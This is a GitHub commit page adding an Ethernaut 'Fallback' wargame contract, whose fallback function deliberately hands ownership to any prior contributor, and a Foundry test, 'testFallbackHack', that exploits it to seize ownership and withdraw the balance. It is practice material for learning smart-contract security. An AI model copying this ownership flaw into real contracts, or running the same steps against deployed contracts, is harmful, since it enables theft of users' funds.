generated from owieth/foundry-setup
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat(contracts): add challenge & test contracts for 01-fallback
- Loading branch information
Showing
6 changed files
with
113 additions
and
215 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.18; | ||
|
||
/// @title Ethernaut Challenge 01 | ||
/// @author https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB | ||
contract Fallback { | ||
/*////////////////////////////////////////////////////////////// | ||
STORAGE | ||
//////////////////////////////////////////////////////////////*/ | ||
mapping(address => uint256) private s_contributions; | ||
address payable private s_owner; | ||
|
||
/*////////////////////////////////////////////////////////////// | ||
MODIFIERS | ||
//////////////////////////////////////////////////////////////*/ | ||
|
||
modifier onlyOwner() { | ||
require(msg.sender == s_owner, "caller is not the owner"); | ||
_; | ||
} | ||
|
||
/*////////////////////////////////////////////////////////////// | ||
CONSTRUCTOR | ||
//////////////////////////////////////////////////////////////*/ | ||
|
||
constructor() { | ||
s_owner = payable(msg.sender); // Type issues must be payable address | ||
s_contributions[msg.sender] = 1000 * (1 ether); | ||
} | ||
|
||
/*////////////////////////////////////////////////////////////// | ||
EXTERNAL | ||
//////////////////////////////////////////////////////////////*/ | ||
|
||
fallback() external payable { | ||
// naming has switched to fallback | ||
require( | ||
msg.value > 0 && s_contributions[msg.sender] > 0, | ||
"tx must have value and msg.send must have made a contribution" | ||
); // Add message with require | ||
s_owner = payable(msg.sender); // Type issues must be payable address | ||
} | ||
|
||
/*////////////////////////////////////////////////////////////// | ||
PUBLIC | ||
//////////////////////////////////////////////////////////////*/ | ||
|
||
function contribute() public payable { | ||
require(msg.value < 0.001 ether, "msg.value must be < 0.001"); // Add message with require | ||
s_contributions[msg.sender] += msg.value; | ||
if (s_contributions[msg.sender] > s_contributions[s_owner]) { | ||
s_owner = payable(msg.sender); // Type issues must be payable address | ||
} | ||
} | ||
|
||
function getContribution(address contributor) public view returns (uint256) { | ||
return s_contributions[contributor]; | ||
} | ||
|
||
function getOwner() public view returns (address) { | ||
return s_owner; | ||
} | ||
|
||
function withdraw() public onlyOwner { | ||
s_owner.transfer(address(this).balance); | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.18; | ||
|
||
import {Test} from "@std/Test.sol"; | ||
import {Vm} from "@std/Vm.sol"; | ||
import {Fallback} from "../../src/01-Fallback/Fallback.sol"; | ||
|
||
/// @title Ethernaut Challenge 01 Test | ||
/// @author https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB | ||
contract FallbackTest is Test { | ||
address private immutable owner = address(0x94B2ceA71F9bA7A6e55c40bE320033D1151145B6); | ||
|
||
function testFallbackHack() public { | ||
///////////////// | ||
// LEVEL SETUP // | ||
///////////////// | ||
vm.prank(address(0)); | ||
Fallback ethernautFallback = new Fallback(); | ||
|
||
////////////////// | ||
// LEVEL ATTACK // | ||
////////////////// | ||
|
||
startHoax(owner, 100 ether); | ||
|
||
// Contribute 1 wei - verify contract state has been updated | ||
ethernautFallback.contribute{value: 1 wei}(); | ||
assertEq(ethernautFallback.getContribution(owner), 1 wei); | ||
|
||
// Call the contract with some value to hit the fallback function | ||
// .transfer doesn't send with enough gas to change the owner state | ||
payable(address(ethernautFallback)).call{value: 1 wei}(""); | ||
// Verify contract owner has been updated to 0 address | ||
assertEq(ethernautFallback.getOwner(), owner); | ||
|
||
// Withdraw from contract - Check contract balance before and after | ||
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance); | ||
ethernautFallback.withdraw(); | ||
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance); | ||
|
||
////////////////////// | ||
// LEVEL SUBMISSION // | ||
////////////////////// | ||
vm.stopPrank(); | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.